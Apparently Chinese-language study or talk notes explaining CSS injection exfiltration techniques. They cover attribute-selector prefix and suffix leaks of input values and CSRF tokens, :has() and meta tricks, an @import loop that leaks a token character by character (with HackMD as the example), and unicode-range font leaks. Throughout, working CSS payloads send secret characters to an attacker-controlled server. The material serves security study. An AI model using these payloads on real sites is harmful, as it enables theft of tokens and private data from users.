可以在一個頁面上可以插入任何的 CSS 語法
(顧名思義: 你可以插入 <style>
這個標籤)
input[value^=a]
開頭是 a 的(prefix)input[value$=a]
結尾是 a 的(suffix)input[value*=a]
內容有 a 的(contains)<input name="secret" value="abc123">
input[name="secret"][value^="a"] {
background: url(https://myserver.com?q=a)
}
input[name="secret"][value^="b"] {
background: url(https://myserver.com?q=b)
}
input[name="secret"][value^="c"] {
background: url(https://myserver.com?q=c)
}
//....
input[name="secret"][value^="z"] {
background: url(https://myserver.com?q=z)
}
Note:
因為第一條規則有順利找到對應的元素,所以 input 的背景就會是一張伺服器上的圖片,而瀏覽器就會發 request 到 https://myserver.com?q=a。
因此,當我在 server 收到這個 request 的時候,我就知道「input 的 value 屬性,第一個字元是 a」,就順利偷到了第一個字元。
<form action="/action">
<input type="hidden" name="csrf-token" value="abc123">
<input name="username">
<input type="submit">
</form>
X 這樣無法 (input 亦無法從 css 直接強迫顯示)
input[name="csrf-token"][value^="a"] {
background: url(https://example.com?q=a)
}
Note:
因為 input 的 type 是 hidden,所以這個元素不會顯示在畫面上,既然不會顯示,那瀏覽器就沒有必要載入背景圖片,因此 server 不會收到任何 request。而這個限制非常嚴格,就算用 display:block !important; 也沒辦法蓋過去。
O 這樣可能可以
input[name="csrf-token"][value^="a"] + input {
background: url(https://example.com?q=a)
}
form:has(input[name="csrf-token"][value^="a"]){
background: url(https://example.com?q=a)
}
Note:
<input name="username">
。有了 :has,這個選擇器可以選到「底下符合特殊條件的元素」
意思就是我要選到「底下有(符合那個條件的 input)的 form」,所以最後載入背景的會是 form,一樣也不是那個 hidden input。這個 has selector 很新,從上個月底釋出的 Chrome 105 開始才正式支援,目前只剩下 Firefox 的穩定版還沒支援了,詳情可看:
<meta name="csrf-token" content="abc123">
meta 這個元素一樣是看不見的元素,要怎麼偷呢?
has
html:has(meta[name="csrf-token"][content^="a"]) {
background: url(https://example.com?q=a);
}
head, meta {
display: block;
}
meta[name="csrf-token"][content^="a"] {
background: url(https://example.com?q=a);
}
Note: meta 雖然也看不到,但跟 hidden input 不同,我們可以自己用 CSS 讓這個元素變成可見,可是這樣還不夠,你會發現 request 還是沒有送出,這是因為 meta 在 head 底下,而 head 也有預設的 display:none 屬性,因此也要幫 head 特別設置,才會讓 meta「能被看到」
<meta name="csrf-token" content="DochvZSX-kH2TbFcmn-rviBGiBCnpUFX8ttk">
<style>
Note: 準備好偷第一個字元的 style,插入到 HackMD 裡面
受害者打開頁面
伺服器收到第一個字元的 request
從伺服器更新 HackMD 內容,換成偷第二個字元的 payload
受害者頁面即時更新,載入新的 style
伺服器收到第二個字元的 request
不斷循環直到偷完所有字元
就算偷到了 HackMD 的 CSRF token,依然還是沒辦法 CSRF,因為 HackMD 有在 server 檢查其他的 HTTP request header 如 origin 或是 referer 等等,確保 request 來自合法的地方。
在不使用 JS 的情況下怎麼動態載入新的 style?
使用 @import
Note: 在 CSS 裡面,你可以用 @import 去把外部的其他 style 引入進來,就像 JavaScript 的 import 那樣。
引入 style 的迴圈
<style>===
@import url(https://myserver.com/start?len=8)
</style>
server 回傳
@import url(https://myserver.com/payload?len=1)
@import url(https://myserver.com/payload?len=2)
@import url(https://myserver.com/payload?len=3)
@import url(https://myserver.com/payload?len=4)
@import url(https://myserver.com/payload?len=5)
@import url(https://myserver.com/payload?len=6)
@import url(https://myserver.com/payload?len=7)
@import url(https://myserver.com/payload?len=8)
Note: 重點來了,這邊雖然一次引入了 8 個,但是「後面 7 個 request,server 都會先 hang 住,不會給 response」,只有第一個網址 https://myserver.com/payload?len=1 會回傳 response,內容為之前提過的偷資料 payload
第一次回傳的 style
input[name="secret"][value^="a"] {
background: url(https://b.myserver.com/leak?q=a)
}
input[name="secret"][value^="b"] {
background: url(https://b.myserver.com/leak?q=b)
}
input[name="secret"][value^="c"] {
background: url(https://b.myserver.com/leak?q=c)
}
//....
input[name="secret"][value^="z"] {
background: url(https://b.myserver.com/leak?q=z)
}
Note: 當瀏覽器收到 response 的時候,就會先載入上面這一段 CSS,載入完以後符合條件的元素就會發 request 到後端,假設第一個字是 d 好了,接著 server 這時候才回傳 https://myserver.com/payload?len=2 的 response
假設是 d 開頭,回傳以下的 style,然後以此類推
input[name="secret"][value^="da"] {
background: url(https://b.myserver.com/leak?q=da)
}
input[name="secret"][value^="db"] {
background: url(https://b.myserver.com/leak?q=db)
}
input[name="secret"][value^="dc"] {
background: url(https://b.myserver.com/leak?q=dc)
}
//....
input[name="secret"][value^="dz"] {
background: url(https://b.myserver.com/leak?q=dz)
}
Note: 這邊有一點要特別注意,你會發現我們載入 style 的 domain 是 myserver.com,而背景圖片的 domain 是 b.myserver.com,這是因為瀏覽器通常對於一個 domain 能同時載入的 request 有數量上的限制,所以如果你全部都是用 myserver.com 的話,會發現背景圖片的 request 送不出去,都被 CSS import 給卡住了。
Firefox 不支援前面的做法,需改下面做法,Chrome 也支援
<style>@import url(https://myserver.com/payload?len=1)</style>
<style>@import url(https://myserver.com/payload?len=2)</style>
<style>@import url(https://myserver.com/payload?len=3)</style>
<style>@import url(https://myserver.com/payload?len=4)</style>
<style>@import url(https://myserver.com/payload?len=5)</style>
<style>@import url(https://myserver.com/payload?len=6)</style>
<style>@import url(https://myserver.com/payload?len=7)</style>
<style>@import url(https://myserver.com/payload?len=8)</style>
Note: 除此之外,上面這種方式在 Firefox 是行不通的,因為在 Firefox 上就算第一個的 response 先回來,也不會立刻更新 style,要等所有 request 都回來才會一起更新。解法的話可以參考這一篇:CSS data exfiltration in Firefox via a single injection point,把第一步的 import 拿掉,然後每一個字元的 import 都用額外的 style 包著。
HackMD 的 CSRF token 共有 36 個字,要發 36 個 request?
prefix selector + suffix selector
input[name="secret"][value^="a"] {
background: url(https://b.myserver.com/leak?q=a)
}
input[name="secret"][value^="b"] {
background: url(https://b.myserver.com/leak?q=b)
}
// ...
input[name="secret"][value$="a"] {
border-background: url(https://b.myserver2.com/suffix?q=a)
}
input[name="secret"][value$="b"] {
border-background: url(https://b.myserver2.com/suffix?q=b)
}
Note: 要特別注意的是開頭跟結尾的 CSS,一個用的是 background,另一個用的是 border-background,是不同的屬性,因為如果用同一個屬性的話,內容就會被其他的蓋掉,最後只會發出一個 request。
除此之外,也可以朝 server 那邊去改善,例如說改用 HTTP/2 或甚至是 HTTP/3,都有機會能夠加速 request 載入的速度,進而提升效率。
unicode-range
<!DOCTYPE html>
<html>
<body>
<style>
@font-face {
font-family: "Ampersand";
src: local("Times New Roman");
unicode-range: U+26;
}
div {
font-size: 4em;
font-family: Ampersand, Helvetica, sans-serif;
}
</style>
<div>Me & You = Us</div>
</body>
</html>
Note: 「unicode-range」,可以針對不同的字元,載入不同的字體。& 的 unicode 是 U+0026,因此只有 & 這個字會用不同的字體來顯示,其他都用同一個字體。
<!DOCTYPE html>
<html>
<body>
<style>
@font-face {
font-family: "f1";
src: url(https://myserver.com?q=1);
unicode-range: U+31;
}
@font-face {
font-family: "f2";
src: url(https://myserver.com?q=2);
unicode-range: U+32;
}
@font-face {
font-family: "f3";
src: url(https://myserver.com?q=3);
unicode-range: U+33;
}
@font-face {
font-family: "fa";
src: url(https://myserver.com?q=a);
unicode-range: U+61;
}
@font-face {
font-family: "fb";
src: url(https://myserver.com?q=b);
unicode-range: U+62;
}
@font-face {
font-family: "fc";
src: url(https://myserver.com?q=c);
unicode-range: U+63;
}
div {
font-size: 4em;
font-family: f1, f2, f3, fa, fb, fc;
}
</style>
Secret: <div>ca31a</div>
</body>
</html>
如果你去看 network tab,會看到一共發送了 4 個 request:
可以得知頁面上有:13ac 這四個字元。
侷限
字體高度差異 + first-line + scrollbar
unicode-range
css 屬性控制字元的字體
div {
font-size: 0px;
height: 40px;
width: 20px;
font-family: fc, "Courier New";
letter-spacing: 0px;
word-break: break-all;
overflow-y: auto;
overflow-x: hidden;
--leak: url(http://myserver.com?C);
}
div::first-line{
font-size: 30px;
}
div::-webkit-scrollbar {
background: blue;
}
div::-webkit-scrollbar:vertical {
background: var(--leak);
}
某些字型當中,會把一些特定的組合 render 成連在一起的樣子,出現時就把他的寬度拉超大讓 scrollbar 出現
實戰上的話,可以用 SVG 搭配其他工具,在 server 端迅速產生字體
Note: 3. 預想若 CSRF token 被偷走可以怎麼防禦